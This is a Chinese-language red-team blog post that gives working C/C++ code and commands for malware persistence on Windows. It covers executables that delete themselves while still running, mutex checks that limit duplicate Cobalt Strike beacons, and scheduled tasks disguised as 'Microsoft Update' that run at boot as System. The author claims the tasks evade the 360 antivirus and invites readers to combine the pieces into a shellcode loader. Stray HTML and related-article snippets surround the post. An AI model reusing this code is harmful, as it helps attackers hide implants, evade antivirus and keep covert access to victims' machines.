<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Window向之權限維持三小技

    VSole2021-11-18 05:34:00

    Window向之權限維持三小技

    0x0 前言

    本文主要以簡單、直接的代碼方式向讀者呈現了一些權限維持的功能代碼方面的小技巧。這些小技巧也許很多人(Ex:myself)不知道,但又有可能對此實現有所需要。為了解決這個問題,筆者通過瀏覽一些資料結合自己的實踐,初步整理出這三個功能小技巧,后續可用于穿插于Window權限維持的具體實現程序。

    0x1 文件自刪除

    自刪除有兩個境界:

    1.運行完刪除自身文件。

    2.運行時刪除自身文件(*),繼續運行。

    0x1.1 運行end

    原理:

    可執行文件進程新開一個cmd 進程執行del 刪除可執行文件自身路徑,這個執行成功的前提是,當執行command刪除命令時,可執行文件進程要先結束,一般來說,可以通過掛起該cmd進程子線程,然后在可執行文件技術部分的最后加入喚醒操作,然后可執行文件進程迅速結束,因為喚醒+執行是慢于進程結束的時間的,一般都可以成功。

    缺點:

    1.編寫復雜,行為可疑
    2.通用性差,也不穩定
    3.對紅隊來說,沒啥意義,beacon本身就是loop狀態的。

    代碼實現:

    #include 
    #include 
    
    int main()
    {
        // 1.Get current path
        wchar_t exePath[MAX_PATH] = { 0 };
        GetModuleFileName(NULL, exePath, MAX_PATH);
        // 2.Craft command
        wchar_t command[128] = { 0 };
        wsprintf(command, L"cmd /k del %s", exePath);
        printf("Execute Command:%ls", command);
        // 3.Suspend main thread of cmd process
        STARTUPINFO si = { sizeof(si) };
        PROCESS_INFORMATION pi;
        BOOL flag = CreateProcess(
            NULL,
            command,
            NULL,
            NULL,
            FALSE,
            CREATE_NO_WINDOW | CREATE_SUSPENDED,// key paramter
            NULL,
            NULL,
            &si,
            &pi);
        if (!flag) {
            printf("CreateProcess Error:%d", GetLastError());
            exit(0);
        }
        // 4.Optimize the execute moment
        SetPriorityClass(pi.hProcess, IDLE_PRIORITY_CLASS);        
        SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
        SetPriorityClass(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
        // 5.Wake up  thread
        if (!ResumeThread(pi.hThread))                               
        {
            printf("ResumeThread %d", GetLastError());
        }
        printf("%s\d", "Running Done! check condition by yourself!");
        //getchar();
    }
    

    效果:

    執行完畢,程序自動刪除。

    0x1.2 運行ing

    下載文件測試工具filetest

    FileTest application

    根據@jonasLyk 的思路

    1.With delete權限打開運行中的文件,然后修改FileRenameInformation的重命名屬性值為ADS流名稱,這個方式能重命名執行中的文件。

    2.重新打開文件,設置FileDispositionInfo文件屬性deletetrue,這樣關閉文件句柄的時候就會自動刪除該文件。

    3.因為文件名稱被修改,所以第二步能繞過鎖定成功執行刪除掉宿主文件,ADS流文件也會隨之消失。


    具體過程如圖:https://pbs.twimg.com/media/Er2W8NFXIAAWZ5a?format=png&name=4096x4096


    代碼參考:https://github.com/LloydLabs/delete-self-poc

    簡化了一些細節,封裝為一個函數便以移植,代碼實現:

    #pragma comment(lib, "Shlwapi.lib")
    
    #include 
    #include 
    #include 
    
    void autoDelete() {
        WCHAR wcPath[MAX_PATH];
        RtlSecureZeroMemory(wcPath, sizeof(wcPath));
        if (GetModuleFileNameW(NULL, wcPath, MAX_PATH) == 0) {
            return;
        };
        HANDLE hCurrent = CreateFileW(wcPath, DELETE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hCurrent == INVALID_HANDLE_VALUE) {
            return;
        }
        // rename handle
        FILE_RENAME_INFO fRename;
        RtlSecureZeroMemory(&fRename, sizeof(fRename));
        LPWSTR lpwStream = (wchar_t*)L":wtforz";
        fRename.FileNameLength = sizeof(lpwStream);
        RtlCopyMemory(fRename.FileName, lpwStream, sizeof(lpwStream));
        BOOL  flag = SetFileInformationByHandle(hCurrent, FileRenameInfo, &fRename, sizeof(fRename) + sizeof(lpwStream));
        if (!flag) {
            return;
        }
        CloseHandle(hCurrent);
        hCurrent = CreateFileW(wcPath, DELETE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hCurrent == INVALID_HANDLE_VALUE) {
            return;
        }
        // set FileDispositionInfo.delete attribute True
        FILE_DISPOSITION_INFO fDelete;
        RtlSecureZeroMemory(&fDelete, sizeof(fDelete));
        fDelete.DeleteFile = TRUE;
        BOOL _flag = SetFileInformationByHandle(hCurrent, FileDispositionInfo, &fDelete, sizeof(fDelete));
        if (!_flag) {
            return;
        }
        // delete file
        CloseHandle(hCurrent);
        if (!PathFileExists(wcPath)) {
    #ifdef _DEBUG
            printf("[LOG] - %ls", L"Success, Done!");
    #endif // DEBUG
            return;
        }
    }
    int wmain(int argc, wchar_t * argv)
    {
        autoDelete();
        getchar();
    }
    

    編譯的時候選擇Debug模式,效果如下:


    后面的getchar()一樣會繼續執行。

    這種思路可以說很新穎,而且很有用,但是具體的原理,筆者也還尚未清楚,只是說這樣測試能夠達到預期效果,作為一個Script Kid已經滿足了。師傅們可以去嘗試分析下window的鎖定機制,然后找找其他方式來達到這種效果,或者分析下這種方式的缺點。


    補充下這一點相關思路:

    C#版本的實現:https://github.com/klezVirus/SharpSelfDelete
    GO的話建議封裝成一個庫,直接調用,ex: winexe.delete()
    如果這個點有其他的實現方法,歡迎師傅們找我一起交流(學爆)。

    0x2 互斥體

    0x2.1 作用

    創建互斥體的常見作用就是用于防止程序多開,很多程序都會有這個特點。

    回到我們權限維持上面,加載器如果沒做互斥體的話,那么單一進程可能會被循環啟動,導致上線很多重復的Beacon,比如計劃任務執行間隔短、用戶多次點擊,都會導致出現多個Beacon進程,這樣會增加加載器的暴露概率。

    0x2.2 API函數

    使用互斥體,Window提供了兩個API函數:

    CreateMutexA

    Creates or opens a named or unnamed mutex object.
    To specify an access mask for the object, use the CreateMutexEx function.
    HANDLE CreateMutexA(
      [in, optional] LPSECURITY_ATTRIBUTES lpMutexAttributes,
      [in]           BOOL                  bInitialOwner,
      [in, optional] LPCSTR                lpName
    );
    

    用于創建或者打開一個命名/未命名的mutex對象,一般用法

    CreateMutex(NULL, False, "互斥體名稱")
    

    第一個參數lpMutexAttributes 為 NULL,則互斥對象將獲得一個默認的安全描述符。互斥對象的默認安全描述符中的 acl 來自創建者的主令牌或模擬令牌。

    第二個參數bInitialOwner 如果此值為 TRUE,且調用方創建了互斥對象,則調用線程獲得互斥對象的初始所有權。否則,調用線程不會獲得互斥對象的所有權。若要確定調用方是否創建了互斥對象,請參見 Return Values 部分。

    第三個參數lpName,互斥對象的名稱,名稱比較區分大小寫,名稱可以有“ Global”或“ Local”前綴,以在全局或會話命名空間中顯式創建對象。名稱的其余部分可以包含除反斜杠字符()以外的任何字符。如果 lpName 匹配現有事件、信號量、可移植計時器、作業或文件映射對象的名稱,則函數失敗,GetLastError 函數返回 ERROR invalid handle。這是因為這些對象共享相同的命名空間。

    Return Value

    如果函數成功,返回值是新創建的互斥對象的句柄。

    如果函數失敗,返回值為 NULL。要獲得擴展的錯誤信息,調用 GetLastError。

    OpenMutexW

    Opens an existing named mutex object.
    HANDLE OpenMutexW(
      [in] DWORD   dwDesiredAccess,
      [in] BOOL    bInheritHandle,
      [in] LPCWSTR lpName
    );
    

    用于打開一個已經存在已命名的互斥體對象,一般用法:

    HANDLE hMutex = OpenMutex(MUTEX_ALL_ACCESS, FALSE, "互斥體名稱");
    

    第一個參數dwDesiredAccess 進程訪問權限

    第二個參數bInheritHandle 如果此值為 TRUE,則此進程創建的進程將繼承此句柄。否則,進程不會繼承此句柄。

    第三個參數lpName互斥對象的名稱。名稱比較區分大小寫

    Return Value

    如果函數成功,返回值是互斥對象的句柄。

    如果函數失敗,返回值為 NULL。要獲得擴展的錯誤信息,調用 GetLastError。

    如果命名的互斥體不存在,則函數失敗,GetLastError 返回 ERROR file not _ found。

    0x2.3 代碼實現

    封裝為一個checkMutex的函數,當然這里互斥體的名稱可以考慮作為參數來傳遞,名稱可以考慮復雜和長點。

    #include 
    #include 
    
    // check mutex object status
    bool checkMutex() {
        HANDLE hMutex = OpenMutex(MUTEX_ALL_ACCESS, FALSE, "MyTestMutex");
    
        if (hMutex == NULL) {
            CreateMutex(NULL, FALSE, "MyTestMutex");
        }
        else {
    #ifdef _DEBUG
            MessageBox(NULL, "Program is already running", 0, 0);
    #endif // DEBUG
            exit(0);
        }
        return TRUE;
    }
    
    int wmain(int argc, wchar_t* argv) {
        checkMutex();
        printf("Program is running ......");
        system("pause");
        return 0;
    }
    

    打開兩個程序,觀察效果:


    優化思路:

    有時候我們覺得一個進程太少,為了解決這個情況,會考慮允許啟動兩個進程。

    bool checkMutex() {
        HANDLE hMutex1 = OpenMutex(MUTEX_ALL_ACCESS, FALSE, "MyTestMutex1");
    
        if (hMutex1 == NULL) {
            CreateMutex(NULL, FALSE, "MyTestMutex1");
            return TRUE;
        }
        HANDLE hMutex2 = OpenMutex(MUTEX_ALL_ACCESS, FALSE, "MyTestMutex2");
        if (hMutex2 == NULL) {
            CreateMutex(NULL, FALSE, "MyTestMutex2");
            return TRUE;
        }
        else {
    #ifdef _DEBUG
            MessageBox(NULL, "Program is already running", 0, 0);
    #endif // DEBUG
            exit(0);
        }
    }
    



    進一步可以優化控制成動態獲取進程同時執行的數目,比如設置成讀取某個目錄下的文件內容、環境變量的值,訪問某個高信譽的網站提取留言內容等等多種手段。

    0x3 重啟上線

    重啟上線有很多種思路,比如放入啟動目錄、注冊服務、劫持DLL等等...

    但是重啟上線ByPass 360 可能存在一些小困難(實際上非常簡單,淺顯的方法試試就知道),這里以大家都熟知的計劃任務來達到Bypass 360的目的。

    WIndow計劃任務的功能用于定時執行執行一些任務,打開控制面板\系統和安全\管理工具,找到任務計劃程序


    重啟上線的話可以選擇觸發器: 計算機啟動時(H)


    在GUI界面上操作,360是不攔截的,可以正常添加計劃任務Hello,不過我測試的時候發現,這個因為卡在開啟啟動邊界,可執行文件不會運行成功,需要增加延時時間再執行。

    0x3.1 常規用法

    比較常規的用法就是利用schtasks.exe

    查看用法Help

    schtasks /Create /?
    SCHTASKS /Create [/S system [/U username [/P [password]]]]
        [/RU username [/RP password]] /SC schedule [/MO modifier] [/D day]
        [/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime]
        [/RI interval] [ {/ET endtime | /DU duration} [/K] [/XML xmlfile] [/V1]]
        [/SD startdate] [/ED enddate] [/IT | /NP] [/Z] [/F] [/HRESULT] [/?]
    

    一般用法形式:

    schtasks /create /tn PentestLab /tr "cmd /c whoami" /sc onstart /ru System
    

    /RU 指定運行權限

    /TN 指定任務名稱,一般用名稱

    /TR 運行程序路徑

       /sc 指定計劃任務頻率,主要5個情況可用,ONSTART ONIDLE ONLOGON DAILY MINUTE

    /delay 延遲任務執行時間

     

    常用命令:

    # 計算機啟動后,延遲1分鐘執行,這個時間實際上可以放長點。
    schtasks /create /tn "Microsoft Update" /tr "cmd /c whoami" /sc onstart /ru System /delay 0001:00
    # 閑置30分鐘后執行
    schtasks /create /tn "Microsoft Update" /tr "cmd /c whoami"  /sc onidle  /i 30 /ru System 
    # 任意用戶登錄后執行
    schtasks /create /tn "Microsoft Update" /tr "cmd /c whoami" /sc onlogon /ru System
    # 每天晚上3點執行
    chtasks /create /tn "Microsoft Update" /tr "cmd /c whoami" /sc daily /st 03:00
    # 每隔20分鐘執行一次
    chtasks /create /tn "Microsoft Update" /tr "cmd /c whoami" /sc minute /mo 20
    

    上面這些命令,在Cobalt Strike命令行下執行,360會直接Ban掉的,一般很少使用,主要是了解下功能用于后面的底層調用代碼實現。

    0x3.2 代碼實現

    代碼參考:https://docs.microsoft.com/en-us/windows/win32/taskschd/boot-trigger-example--c---

    筆者主要做了一些改動和參數定義,關于優化和CS插件的具體實現還是希望各位去鍛煉下動手能力。

    /********************************************************************
     This sample schedules a task to start Notepad.exe 30 seconds after
     the system is started.
    ********************************************************************/
    
    #define _WIN32_DCOM
    
    #include 
    #include 
    #include 
    #include 
    //  Include the task header file.
    #include 
    #pragma comment(lib, "taskschd.lib")
    #pragma comment(lib, "comsupp.lib")
    
    
    using namespace std;
    
    int __cdecl wmain()
    {
        //  ------------------------------------------------------
        //  Initialize COM.
        HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
    
        //  Set general COM security levels.
        hr = CoInitializeSecurity(
            NULL,
            -1,
            NULL,
            NULL,
            RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
            RPC_C_IMP_LEVEL_IMPERSONATE,
            NULL,
            0,
            NULL);
        //  ------------------------------------------------------
        //  Create a name for the task.
        LPCWSTR wszTaskName = L"Window Microsoft Update";
    
        //  Get the Windows directory and set the path to Notepad.exe.
        wstring wstrExecutablePath = L"cmd /c whoami";
    
    
        //  Create an instance of the Task Service. 
        ITaskService* pService = NULL;
        hr = CoCreateInstance(CLSID_TaskScheduler,
            NULL,
            CLSCTX_INPROC_SERVER,
            IID_ITaskService,
            (void**)&pService);
    
        //  Connect to the task service.
        hr = pService->Connect(_variant_t(), _variant_t(),
            _variant_t(), _variant_t());
    
        //  Get the pointer to the root task folder.  
        //  This folder will hold the new task that is registered.
        ITaskFolder* pRootFolder = NULL;
        hr = pService->GetFolder(_bstr_t(L"\\"), &pRootFolder);
    
        //  If the same task exists, remove it.
        pRootFolder->DeleteTask(_bstr_t(wszTaskName), 0);
    
        //  Create the task builder object to create the task.
        ITaskDefinition* pTask = NULL;
        hr = pService->NewTask(0, &pTask);
    
        pService->Release();  // COM clean up.  Pointer is no longer used.
    
        //  ------------------------------------------------------
        //  Get the registration info for setting the identification.
        IRegistrationInfo* pRegInfo = NULL;
        hr = pTask->get_RegistrationInfo(&pRegInfo);
    
        hr = pRegInfo->put_Author(_bstr_t(L"xq17"));
        pRegInfo->Release();
    
        //  Create the settings for the task
        ITaskSettings* pSettings = NULL;
        hr = pTask->get_Settings(&pSettings);
        if (FAILED(hr))
        {
            printf("Cannot get settings pointer: %x", hr);
            pRootFolder->Release();
            pTask->Release();
            CoUninitialize();
            return 1;
        }
    
        //  Set setting values for the task. 
        hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
        pSettings->Release();
    
        //  ------------------------------------------------------
        //  Get the trigger collection to insert the boot trigger.
        ITriggerCollection* pTriggerCollection = NULL;
        hr = pTask->get_Triggers(&pTriggerCollection);
    
        //  Add the boot trigger to the task.
        ITrigger* pTrigger = NULL;
        hr = pTriggerCollection->Create(TASK_TRIGGER_BOOT, &pTrigger);
        pTriggerCollection->Release();
    
        IBootTrigger* pBootTrigger = NULL;
        hr = pTrigger->QueryInterface(
            IID_IBootTrigger, (void**)&pBootTrigger);
        pTrigger->Release();
    
        hr = pBootTrigger->put_Id(_bstr_t(L"Trigger1"));
    
        // Delay the task to start 30 seconds after system start.  *
        hr = pBootTrigger->put_Delay(_bstr_t(L"PT30S"));
        pBootTrigger->Release();
    
        //  ------------------------------------------------------
        //  Add an Action to the task. This task will execute Notepad.exe.     
        IActionCollection* pActionCollection = NULL;
    
        //  Get the task action collection pointer.
        hr = pTask->get_Actions(&pActionCollection);
    
        //  Create the action, specifying it as an executable action.
        IAction* pAction = NULL;
        hr = pActionCollection->Create(TASK_ACTION_EXEC, &pAction);
        pActionCollection->Release();
    
        IExecAction* pExecAction = NULL;
        //  QI for the executable task pointer.
        hr = pAction->QueryInterface(
            IID_IExecAction, (void**)&pExecAction);
        pAction->Release();
    
        //  Set the path of the executable
        hr = pExecAction->put_Path(_bstr_t(wstrExecutablePath.c_str()));
        pExecAction->Release();
    
        //  ------------------------------------------------------
        //  Save the task in the root folder.
        IRegisteredTask* pRegisteredTask = NULL;
        VARIANT varPassword;
        varPassword.vt = VT_EMPTY;
        hr = pRootFolder->RegisterTaskDefinition(
            _bstr_t(wszTaskName),
            pTask,
            TASK_CREATE_OR_UPDATE,
            _variant_t(L"Local Service"),
            varPassword,
            TASK_LOGON_SERVICE_ACCOUNT,
            _variant_t(L""),
            &pRegisteredTask);
    
        printf(" Success! Task successfully registered. ");
    
        //  Clean up.
        pRootFolder->Release();
        pTask->Release();
        pRegisteredTask->Release();
        CoUninitialize();
        return 0;
    }
    

    使用效果:

    如果直接執行命令會被360攔截。


    編譯的release版本360無提示秒過。



    查看計劃任務列表,可以看到成功Bypass 360添加。



    關于這個重啟上線的思路有非常多,但是還是希望大家根據網上的想法去動手嘗試,成功后不建議直接傳播現成利用,emmm,意義不大。至于計劃任務除了進一步優化代碼的可用性之外,還可以考慮進一步實現計劃任務的隱藏,比如刪除注冊表的index值來隱藏,win7以上的系統則可以進一步刪除sid來實現完全隱藏,這些在Github上也有代碼實現,但是這部分還是不夠簡單易用,普適性也可能在一些系統出現問題,還有就是不夠全面,emmm,自己動手豐衣足食。

    0x4 總結

    本文內容較為簡單直接,主要是圍繞三個常用的小技巧來展開介紹,這三個小技巧在本文尚未chain起來,讀者可以結合實際的攻防場景,將其融合定制出個性鮮明的ShellCodeLoader,于此同時,讀者也可以嘗試根據這三個小技巧進行更為深入的學習和利用拓展,這也是筆者后續的一個方向,但是還是希望集思廣益,共同進步。

    0x5 參考鏈接

    ?Self Deleting Executables

    ring0層下實現的文件強制刪除

    C語言防止程序多開:創建互斥體

    Windows計劃任務的進階

    Persistence – Scheduled Tasks

    windows 計劃任務隱藏新姿勢分享

    互斥體互斥事件
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    EasyPersistent是一個用于windows系統上權限維持的Cobalt Strike CNA 腳本。腳本整合了一些常用的權限維持方法,使用反射DLL模塊可使用API對系統服務、計劃任務等常見權限維持方法進行可視化操作。使用時請注意HKLM和HKCU位置,x86和x64的不同;
    盡管該工具包只出售給受信任的組織進行安全測試,但由于源代碼泄露,它的各種組件不可避免地進入了攻擊者的武器庫,從勒索軟件組織到國家支持的攻擊組織。濫用Cobalt Strike的惡意軟件甚至在2020年臭名昭著的SolarWinds供應鏈攻擊事件發揮了作用。當有效負載是靜態防護的、僅存在于內存中并且拒絕執行時,這種情況會給檢測帶來問題。我們將這些Cobalt Strike裝載程序稱為KoboldLoader, MagnetLoader和LithiumLoader。MagnetLoader的所有導出函數內部調用相同的主要惡意軟件例程。
    00 摘要 2020年2月,Cybereason報告稱發現了Spark和Pierogi后門,其很可能被用于針對巴勒斯坦官員的定向攻擊活動。研究人員認為攻擊是由Molerats組織(又名Gaza Cybergang)發動的,這是一個講阿拉伯語,有政治動機...
    本文主要以簡單、直接的代碼方式向讀者呈現了一些權限維持的功能代碼方面的小技巧。這些小技巧也許很多人(Ex:myself)不知道,但又有可能對此實現有所需要。為了解決這個問題,筆者通過瀏覽一些資料結合自己的實踐,初步整理出這三個功能小技巧,后續可用于穿插于Window權限維持的具體實現程序。
    創建子線程,休眠 2147367705ms后殺死當前主進程。嘗試解析“microsoft.com”的ip,如果解析不成功則殺死進程。一些反調試的操作。通過子線程獲取一些系統信息包括系統的bios版本,核心名等,在system32目錄下寫入文件并創建系統服務通過遍歷進程列表找到進程中到的指定程序,然后通過發送代碼直接到指定驅動程序,實際釋放為gmer64.sys程序。
    本次一共截獲了兩個和KingSqlZ組織有關的可疑樣本。
    勒索病毒的深度分析
    4 月 1 日,雷鋒網從微步在線了解到,境外黑客組織“白象”在蟄伏了一段時間后,于今年 3 月上旬對國內發起攻擊。 2017年12月下旬,國外網絡安全公司趨勢科技對其攻擊活動曝光后,該團伙迅速停用了所有域名、IP等基礎設施,進入“蟄伏期”。然而在今年 3 月上旬至 3 月中旬,“白象”團伙再次發起針對我國的網絡攻擊,使用的誘餌文檔均為某特定期間的新聞話題,涉及軍事、社會、法律等多個方面。 此次,白
    概述最近log4j爆出重大安全漏洞CVE-2021-44228。在觀測了一系列利用log4shell攻擊的活動后,安全研究人員捕獲了一批新樣本,其中包括StealthLoader。獲取了setup.exe,并且下載到兩個地方,然后創建進程。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类